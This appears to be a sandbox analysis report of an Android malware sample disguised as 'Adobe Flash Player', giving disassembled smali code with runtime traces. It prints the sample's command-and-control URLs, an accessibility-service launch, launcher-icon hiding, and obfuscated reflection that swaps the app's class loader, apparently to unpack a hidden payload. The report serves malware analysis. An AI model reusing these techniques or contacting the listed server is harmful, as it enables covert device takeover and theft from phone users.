                                            5invoke-interface {v0, p1, v1}, Landroid/content/SharedPreferences;->getString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
                                            • Time: 1515475
                                              • This:
                                                • android.app.SharedPreferencesImpl@8fe5a95
                                              • p0: ANDROID_ID
                                              • p1: ""
                                              • Return:
                                                • ""
                                            • Time: 1515486
                                              • This:
                                                • android.app.SharedPreferencesImpl@8fe5a95
                                              • p0: SERVER_SMS_URL
                                              • p1: ""
                                              • Return:
                                                • ""
                                            • Time: 1515488
                                              • This:
                                                • android.app.SharedPreferencesImpl@8fe5a95
                                              • p0: SERVER_IP
                                              • p1: ""
                                              • Return:
                                                • http://carnivors284.info/api3
                                            • Time: 1515965
                                              • This:
                                                • android.app.SharedPreferencesImpl@8fe5a95
                                              • p0: SERVER_PING_URL
                                              • p1: ""
                                              • Return:
                                                • http://carnivors284.info/api3/ping.php
                                            • Time: 1515971
                                              • This:
                                                • android.app.SharedPreferencesImpl@8fe5a95
                                              • p0: ANDROID_ID
                                              • p1: ""
                                              • Return:
                                                • b8e688b87ab41f9
                                            • Time: 1515973
                                              • This:
                                                • android.app.SharedPreferencesImpl@8fe5a95
                                              • p0: APP_TAG
                                              • p1: ""
                                              • Return:
                                                • adobe2
                                            • Time: 1516039
                                              • This:
                                                • android.app.SharedPreferencesImpl@8fe5a95
                                              • p0: RELEASE_VERSION
                                              • p1: ""
                                              • Return:
                                                • 2.0d
                                            • Time: 1517080
                                              • This:
                                                • android.app.SharedPreferencesImpl@8fe5a95
                                              • p0: APP_NAME
                                              • p1: ""
                                              • Return:
                                                • Adobe Flash Player
                                            6move-result-object v0
                                            7return-object v0
                                            Cross References
                                            APIs
                                            • improve.harbor.eager.PreActivity.a:Limprove/harbor/eager/g
                                            • java.lang.Integer.intValue
                                            • android.content.Intent.<init>
                                            • android.content.Intent.addFlags
                                            • android.content.Intent.addFlags
                                            • android.content.Intent.addFlags
                                            • improve.harbor.eager.PreActivity.startForegroundService
                                            • improve.harbor.eager.PreActivity.getPackageManager
                                            • android.content.ComponentName.<init>
                                            • android.content.pm.PackageManager.setComponentEnabledSetting
                                            • improve.harbor.eager.PreActivity.startService
                                            Strings
                                            • ACCESSIBILITY_RUNNING
                                            • TXT_C_8
                                            • TXT_80
                                            Position Instruction Meta Information
                                            0const/4 v3, 0x1
                                            2iget-object v0, p0, Limprove/harbor/eager/PreActivity;->a:Limprove/harbor/eager/g;
                                            4const-string v1, "ACCESSIBILITY_RUNNING"
                                            6invoke-virtual {v0, v1}, Limprove/harbor/eager/g;->b(Ljava/lang/String;)Ljava/lang/Integer;
                                            7move-result-object v0
                                            9invoke-virtual {v0}, Ljava/lang/Integer;->intValue()I
                                            10move-result v0
                                            11if-eq v0, v3, :cond_3e
                                            13const-string v0, "TXT_C_8"
                                            15invoke-static {v0}, Limprove/harbor/eager/j;->a(Ljava/lang/String;)Ljava/lang/String;
                                            16move-result-object v0
                                            18const-string v1, "TXT_80"
                                            20invoke-static {v1}, Limprove/harbor/eager/j;->a(Ljava/lang/String;)Ljava/lang/String;
                                            21move-result-object v1
                                            23invoke-static {p0, v0, v1}, Limprove/harbor/eager/c;->a(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;)V
                                            24new-instance v0, Landroid/content/Intent;
                                            25const-class v1, Limprove/harbor/eager/AccessibilityWatcher;
                                            27invoke-direct {v0, p0, v1}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
                                            28const/high16 v1, 0x4000000
                                            30invoke-virtual {v0, v1}, Landroid/content/Intent;->addFlags(I)Landroid/content/Intent;
                                            31const/high16 v1, 0x10000000
                                            33invoke-virtual {v0, v1}, Landroid/content/Intent;->addFlags(I)Landroid/content/Intent;
                                            34const v1, 0x8000
                                            36invoke-virtual {v0, v1}, Landroid/content/Intent;->addFlags(I)Landroid/content/Intent;
                                            37sget v1, Landroid/os/Build$VERSION;->SDK_INT:I
                                            38const/16 v2, 0x1a
                                            39if-lt v1, v2, :cond_4e
                                            41invoke-virtual {p0, v0}, Limprove/harbor/eager/PreActivity;->startForegroundService(Landroid/content/Intent;)Landroid/content/ComponentName;
                                            42goto_3e:
                                            43invoke-virtual {p0}, Limprove/harbor/eager/PreActivity;->getPackageManager()Landroid/content/pm/PackageManager;
                                            44move-result-object v0
                                            45new-instance v1, Landroid/content/ComponentName;
                                            46const-class v2, Limprove/harbor/eager/PreActivity;
                                            48invoke-direct {v1, p0, v2}, Landroid/content/ComponentName;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
                                            49const/4 v2, 0x2
                                            51invoke-virtual {v0, v1, v2, v3}, Landroid/content/pm/PackageManager;->setComponentEnabledSetting(Landroid/content/ComponentName;II)V
                                            • Time: 1515513
                                              • This:
                                                • android.app.ApplicationPackageManager@6e63c4e
                                              • p0: 2
                                              • p1: 1
                                              • Return:
                                                • ComponentInfo{access.pact.agent/improve.harbor.eager.PreActivity}
                                            52return-void
                                            53cond_4e:
                                            54invoke-virtual {p0, v0}, Limprove/harbor/eager/PreActivity;->startService(Landroid/content/Intent;)Landroid/content/ComponentName;
                                            • Time: 1515510
                                              • This:
                                                • improve.harbor.eager.PreActivity@3b8e052
                                              • p0: Intent { flg=0x14008000 cmp=access.pact.agent/improve.harbor.eager.AccessibilityWatcher }
                                              • Return:
                                                • ComponentInfo{access.pact.agent/improve.harbor.eager.AccessibilityWatcher}
                                            55goto/16 :goto_3e
                                            Cross References
                                            APIs
                                            • java.lang.StringBuilder.<init>
                                            • java.lang.StringBuilder.append
                                            • java.lang.StringBuilder.append
                                            • java.lang.StringBuilder.toString
                                            Strings
                                            • android.app.ActivityThread
                                            • android.app.LoadedApk
                                            • mPackages
                                            • mClassLoader
                                            Position Instruction Meta Information
                                            0.annotation system Ldalvik/annotation/Throws;
                                            1value = {
                                            2Ljava/lang/IllegalAccessException;,
                                            3Ljava/lang/NoSuchMethodException;,
                                            4Ljava/lang/reflect/InvocationTargetException;,
                                            5Ljava/lang/NoSuchFieldException;,
                                            6Ljava/lang/ClassNotFoundException;
                                            7}
                                            8.end annotation
                                            9move-object v6, p0
                                            10sget-short v0, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->TuuLMDMISOl_25:S
                                            11add-int/lit8 v0, v0, 0xf
                                            12add-int/lit8 v0, v0, 0x38
                                            13add-int/lit8 v0, v0, 0x5a
                                            14iput v0, v6, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->OuOMmsIwOYbW_33:I
                                            15const/16 v0, 0x3f
                                            16sput v0, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->dxqwBpGgIXJ_20:I
                                            17iget v0, v6, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->OuOMmsIwOYbW_33:I
                                            18sget v1, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->dxqwBpGgIXJ_20:I
                                            19add-int v2, v1, v0
                                            20iget-wide v3, v6, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->PNUTyEyAujZXrTPLmTc_8455867:J
                                            21long-to-int v4, v3
                                            22const v3, 0x537b4
                                            23if-ne v1, v3, :cond_2a
                                            24const/16 v3, 0x24
                                            25sput v3, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->BqTtsuAZwkdJBFBSgQYP_531366:I
                                            26sub-int/2addr v0, v2
                                            27div-int/2addr v1, v4
                                            28add-int/2addr v0, v1
                                            29iput v0, v6, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->OuOMmsIwOYbW_33:I
                                            30const/4 v0, 0x5
                                            31sput v0, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->dxqwBpGgIXJ_20:I
                                            32goto/16 :goto_38
                                            33cond_2a: const v1, 0xd4d27
                                            34and-int/2addr v1, v0
                                            35int-to-float v1, v1
                                            36sput v1, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->rwYASfCJqxTsWOXMst_456503:F
                                            37const v1, 0x44b31
                                            38xor-int/2addr v0, v1
                                            39int-to-float v0, v0
                                            40sput v0, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->rwYASfCJqxTsWOXMst_456503:F
                                            41goto_38: const v0, 0x3fcb78a9
                                            42sput v0, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->rwYASfCJqxTsWOXMst_456503:F
                                            43sget v0, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->dxqwBpGgIXJ_20:I
                                            45invoke-static {}, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->cryrepair()Ljava/lang/String;
                                            • Time: 1498836
                                              • Return:
                                                • android.app.ActivityThread
                                            46move-result-object v0
                                            48invoke-virtual {p0, v0}, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->judgesell(Ljava/lang/String;)Ljava/lang/Class;
                                            49move-result-object v0
                                            50sget-boolean v1, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->wnEfTrkur_659731:Z
                                            51const/16 v2, 0x6f
                                            52const/4 v3, 0x1
                                            53if-eqz v1, :cond_57
                                            54iput-boolean v3, v6, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->GFBflOFrs_435791:Z
                                            55sput v2, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->dxqwBpGgIXJ_20:I
                                            56const-wide/32 v4, 0xf8f77b
                                            57iput-wide v4, v6, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->PNUTyEyAujZXrTPLmTc_8455867:J
                                            58cond_57:
                                            59invoke-static {}, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->occuraerobic()Ljava/lang/String;
                                            • Time: 1498844
                                              • Return:
                                                • android.app.LoadedApk
                                            60move-result-object v1
                                            62invoke-virtual {p0, v1}, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->judgesell(Ljava/lang/String;)Ljava/lang/Class;
                                            63move-result-object v1
                                            64sget v4, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->BqTtsuAZwkdJBFBSgQYP_531366:I
                                            65sget-short v5, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->TuuLMDMISOl_25:S
                                            66const v7, 0x72623
                                            67const/4 v8, 0x0
                                            68if-lt v4, v7, :cond_81
                                            69const v4, 0x6fdff
                                            70int-to-float v4, v4
                                            71sput v4, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->rwYASfCJqxTsWOXMst_456503:F
                                            72const-wide/32 v4, 0x4e7d3b
                                            73iput-wide v4, v6, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->PNUTyEyAujZXrTPLmTc_8455867:J
                                            74sget v4, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->dxqwBpGgIXJ_20:I
                                            75iput v4, v6, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->OuOMmsIwOYbW_33:I
                                            76iget v4, v6, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->OuOMmsIwOYbW_33:I
                                            77const v5, 0xae16
                                            78ushr-int/2addr v4, v5
                                            79iput v4, v6, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->OuOMmsIwOYbW_33:I
                                            80goto/16 :goto_9c
                                            81cond_81: and-int v4, v5, v5
                                            82sput v4, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->dxqwBpGgIXJ_20:I
                                            83iput-boolean v8, v6, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->GFBflOFrs_435791:Z
                                            84const v4, 0x5371e
                                            85iput v4, v6, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->OuOMmsIwOYbW_33:I
                                            86iget v4, v6, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->OuOMmsIwOYbW_33:I
                                            87const v5, 0x276bc
                                            88shr-int/2addr v4, v5
                                            89iput v4, v6, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->OuOMmsIwOYbW_33:I
                                            90const-wide/16 v4, 0x2
                                            91iput-wide v4, v6, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->PNUTyEyAujZXrTPLmTc_8455867:J
                                            92const/16 v4, 0x4e
                                            93sput v4, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->BqTtsuAZwkdJBFBSgQYP_531366:I
                                            94goto_9c: const v4, 0x526ea5ef
                                            95sput v4, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->rwYASfCJqxTsWOXMst_456503:F
                                            96const v4, 0x1024a
                                            97int-to-float v4, v4
                                            98sput v4, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->rwYASfCJqxTsWOXMst_456503:F
                                            99iget-wide v4, v6, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->PNUTyEyAujZXrTPLmTc_8455867:J
                                            100sget v4, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->dxqwBpGgIXJ_20:I
                                            101iget v5, v6, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->OuOMmsIwOYbW_33:I
                                            102const v7, 0x7ca65
                                            103const/4 v9, 0x0
                                            104goto_b1: const/16 v10, 0x31
                                            105if-ge v9, v10, :cond_bf
                                            106sget v10, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->rwYASfCJqxTsWOXMst_456503:F
                                            107sub-int v10, v5, v7
                                            108or-int/2addr v10, v4
                                            109sput v10, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->BqTtsuAZwkdJBFBSgQYP_531366:I
                                            110add-int/lit8 v9, v9, 0x1
                                            111goto/16 :goto_b1
                                            112cond_bf:
                                            113invoke-static {}, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->messageentire()Ljava/lang/String;
                                            • Time: 1498855
                                              • Return:
                                                • mPackages
                                            114move-result-object v4
                                            116invoke-virtual {p0, v0, v4}, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->trashvoid(Ljava/lang/Class;Ljava/lang/String;)Ljava/lang/reflect/Field;
                                            117move-result-object v4
                                            118sget v5, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->dxqwBpGgIXJ_20:I
                                            119iget v7, v6, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->OuOMmsIwOYbW_33:I
                                            120const/4 v9, 0x0
                                            121goto_cc: const/16 v10, 0x1e
                                            122if-eq v9, v10, :cond_16b
                                            123const v10, 0x93eee
                                            124sput v10, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->dxqwBpGgIXJ_20:I
                                            125sget v10, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->dxqwBpGgIXJ_20:I
                                            126const v11, 0x2a297
                                            127shr-int/2addr v10, v11
                                            128sput v10, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->dxqwBpGgIXJ_20:I
                                            129const/16 v10, 0x77
                                            130iput v10, v6, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->OuOMmsIwOYbW_33:I
                                            131const v10, 0xc3f2a
                                            132iput v10, v6, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->OuOMmsIwOYbW_33:I
                                            133iget v10, v6, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->OuOMmsIwOYbW_33:I
                                            134const v11, 0x8633
                                            135ushr-int/2addr v10, v11
                                            136iput v10, v6, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->OuOMmsIwOYbW_33:I
                                            137const v10, 0x11cee
                                            138iget v11, v6, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->OuOMmsIwOYbW_33:I
                                            139const v12, 0x27650
                                            140if-gt v5, v12, :cond_107
                                            141const v12, 0x1b172
                                            142int-to-float v12, v12
                                            143sput v12, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->rwYASfCJqxTsWOXMst_456503:F
                                            144const v12, 0x80c80
                                            145and-int/2addr v10, v11
                                            146or-int/2addr v10, v12
                                            147int-to-float v10, v10
                                            148sput v10, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->rwYASfCJqxTsWOXMst_456503:F
                                            149goto/16 :goto_167
                                            150cond_107: const v10, 0xd5670
                                            151if-eq v5, v10, :cond_127
                                            152const v10, 0xd1d5b
                                            153if-le v7, v10, :cond_127
                                            154const v10, 0xc4ad0
                                            155sput v10, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->BqTtsuAZwkdJBFBSgQYP_531366:I
                                            156sget v10, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->BqTtsuAZwkdJBFBSgQYP_531366:I
                                            157const v11, 0xdc849
                                            158shl-int/2addr v10, v11
                                            159sput v10, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->BqTtsuAZwkdJBFBSgQYP_531366:I
                                            160const-wide/16 v10, 0x0
                                            161iput-wide v10, v6, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->PNUTyEyAujZXrTPLmTc_8455867:J
                                            162const/16 v10, 0x39
                                            163sput v10, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->dxqwBpGgIXJ_20:I
                                            164goto/16 :goto_167
                                            165cond_127: const v10, 0x260f9
                                            166if-gt v5, v10, :cond_13e
                                            167const v10, 0x6b454
                                            168if-ne v7, v10, :cond_13e
                                            169const v10, 0x8188
                                            170int-to-float v10, v10
                                            171sput v10, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->rwYASfCJqxTsWOXMst_456503:F
                                            172const v10, 0xfd799
                                            173int-to-float v10, v10
                                            174sput v10, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->rwYASfCJqxTsWOXMst_456503:F
                                            175goto/16 :goto_167
                                            176cond_13e: const v10, 0x2b501
                                            177if-ge v5, v10, :cond_167
                                            178const v10, 0x3e6d0
                                            179if-ge v7, v10, :cond_167
                                            180const-wide/16 v10, 0x1
                                            181iput-wide v10, v6, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->PNUTyEyAujZXrTPLmTc_8455867:J
                                            182const v10, -0x4f8a6
                                            183int-to-float v10, v10
                                            184sput v10, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->rwYASfCJqxTsWOXMst_456503:F
                                            185new-instance v10, Ljava/lang/StringBuilder;
                                            187invoke-direct {v10}, Ljava/lang/StringBuilder;-><init>()V
                                            189sget-object v11, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->wtTHksYuQTSWzyGimOjyUAkR_349870:Ljava/lang/String;
                                            191invoke-virtual {v10, v11}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                            192sget-char v11, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->YKKULQtBzjY_389920:C
                                            194invoke-virtual {v10, v11}, Ljava/lang/StringBuilder;->append(C)Ljava/lang/StringBuilder;
                                            196invoke-virtual {v10}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                            197move-result-object v10
                                            198sput-object v10, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->wtTHksYuQTSWzyGimOjyUAkR_349870:Ljava/lang/String;
                                            199cond_167: add-int/lit8 v9, v9, 0x1
                                            200goto/16 :goto_cc
                                            201cond_16b:
                                            202invoke-virtual {p0, v4}, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->turnplay(Ljava/lang/reflect/Field;)V
                                            203const/16 v5, 0x36
                                            204sput v5, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->dxqwBpGgIXJ_20:I
                                            205const v5, 0x64c8e
                                            206int-to-float v5, v5
                                            207sput v5, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->rwYASfCJqxTsWOXMst_456503:F
                                            208iput v3, v6, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->OuOMmsIwOYbW_33:I
                                            209move-object/from16 v3, p4
                                            211invoke-virtual {p0, v4, v0, v3}, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->reportmargin(Ljava/lang/reflect/Field;Ljava/lang/Class;Landroid/content/Context;)Ljava/lang/ref/WeakReference;
                                            212move-result-object v5
                                            213const v0, 0xb5b42
                                            214iget v3, v6, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->OuOMmsIwOYbW_33:I
                                            215sub-int/2addr v0, v3
                                            216sput v0, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->dxqwBpGgIXJ_20:I
                                            217const v0, 0x521e8
                                            218const v4, 0xa6718
                                            219const v7, 0x62b8b
                                            220xor-int/2addr v0, v3
                                            221xor-int/2addr v0, v4
                                            222xor-int/2addr v0, v7
                                            223int-to-float v0, v0
                                            224sput v0, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->rwYASfCJqxTsWOXMst_456503:F
                                            226invoke-static {}, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->fleedawn()Ljava/lang/String;
                                            • Time: 1498916
                                              • Return:
                                                • mClassLoader
                                            227move-result-object v0
                                            229invoke-virtual {p0, v1, v0}, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->trashvoid(Ljava/lang/Class;Ljava/lang/String;)Ljava/lang/reflect/Field;
                                            230move-result-object v1
                                            231iput v2, v6, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->OuOMmsIwOYbW_33:I
                                            232const/16 v0, 0x37f
                                            233sput v0, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->dxqwBpGgIXJ_20:I
                                            234const-wide/32 v2, 0x5f699f
                                            235iput-wide v2, v6, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->PNUTyEyAujZXrTPLmTc_8455867:J
                                            237invoke-virtual {p0, v1}, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->turnplay(Ljava/lang/reflect/Field;)V
                                            238iget v0, v6, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->OuOMmsIwOYbW_33:I
                                            239sget v2, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->dxqwBpGgIXJ_20:I
                                            240const v3, 0xb9eec
                                            241goto_1b4: const/4 v4, 0x4
                                            242if-ge v8, v4, :cond_1c4
                                            243sub-int v4, v0, v2
                                            244xor-int/2addr v4, v3
                                            245int-to-float v4, v4
                                            246sput v4, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->rwYASfCJqxTsWOXMst_456503:F
                                            247const/16 v4, 0x3e
                                            248sput v4, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->BqTtsuAZwkdJBFBSgQYP_531366:I
                                            249add-int/lit8 v8, v8, 0x1
                                            250goto/16 :goto_1b4
                                            251cond_1c4: move-object v0, p0
                                            252move-object v2, p1
                                            253move-object v3, p2
                                            254move-object/from16 v4, p3
                                            256invoke-virtual/range {v0 .. v5}, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->extendwreck(Ljava/lang/reflect/Field;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/ref/WeakReference;)V
                                            257const v0, 0x40cda46a
                                            258sput v0, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->rwYASfCJqxTsWOXMst_456503:F
                                            259const v0, 0x8be61
                                            260sget v1, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->BqTtsuAZwkdJBFBSgQYP_531366:I
                                            261const v2, 0x92ec0
                                            262sub-int/2addr v0, v1
                                            263or-int/2addr v0, v2
                                            264int-to-float v0, v0
                                            265sput v0, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->rwYASfCJqxTsWOXMst_456503:F
                                            266const/16 v0, 0x25
                                            267sput v0, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->BqTtsuAZwkdJBFBSgQYP_531366:I
                                            268const v0, 0x3740f
                                            269sput v0, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->BqTtsuAZwkdJBFBSgQYP_531366:I
